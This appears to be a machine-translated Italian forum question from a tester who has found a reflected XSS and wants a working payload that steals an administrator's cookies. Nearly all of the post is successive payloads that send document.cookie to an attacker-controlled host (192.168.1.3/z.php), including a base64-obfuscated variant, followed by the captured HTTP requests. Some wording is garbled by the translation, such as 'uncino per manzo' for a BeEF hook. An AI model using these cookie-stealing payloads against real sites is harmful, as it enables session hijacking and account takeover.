Sto verificando questa applicazione & ho confermato una xss riflessa. Ora, sto cercando di creare un payload funzionante, invece di mostrare semplicemente una finestra di avviso.
L'url creato è il seguente:
http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php?y="+document.cookie;</script>
Alcuni caratteri devono essere codificati, quindi il carico utile è:
http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%3fy="%2bdocument.cookie%3b</script>
L'apertura di questo URL esegue direttamente js senza problemi.
Tuttavia, con questa applicazione, un amministratore deve fare clic su questo link tramite un'altra pagina.
Il problema è che quando l'URL creato viene cliccato / aperto ora, il payload viene rimosso fino a http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php"
Guardando il sorgente della pagina viene mostrato quanto segue:
<form action=/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php method=post name=search>
Ho provato altri payload, altri più lunghi e amp; anche url abbreviazioni, ma non fa alcuna differenza.
Non riesco a capire perché lo stesso URL creato venga eseguito quando viene aperto direttamente, ma il payload viene rimosso quando si passa da una pagina diversa.
Come posso aggirare questa restrizione per catturare i cookie e / o iniettare uncino per manzo, preferibilmente usando un breve carico utile & senza reindirizzamento.
Grazie.
Aggiorna
In base al commento di @xavier59, ho codificato %
in %25
, quindi la richiesta è:
http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%253fy="%2bdocument.cookie%3b</script>
Il payload js viene eseguito come previsto (reindirizzamento al server Web di un utente malintenzionato), ma ora i cookie non vengono acquisiti. Ecco la richiesta che ottengo una volta eseguito il payload:
GET /z.php%3fy= HTTP/1.1
+document.cookie
viene ancora rimosso.
UPDATE2 Richiesta HTTP & risposte quando si fa clic sull'URL creato:
Crafted URL:
http://192.168.1.2/vulnpage.php>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>
GET:http://url
Host:myapp.local
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1
Date:Fri, 02 Feb 2018 22:20:35 GMT
Server:Apache
Location:https://url
Content-Length:337
Keep-Alive:timeout=15, max=100
Connection:Keep-Alive
Content-Type:text/html; charset=iso-8859-1
GET:http://192.168.1.3/z.php?y=
Host:192.168.1.3
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1
Server:SimpleHTTP/0.6 Python/2.7.6
Date:Fri, 02 Feb 2018 22:31:50 GMT
Content-Type:text/html
Connection:close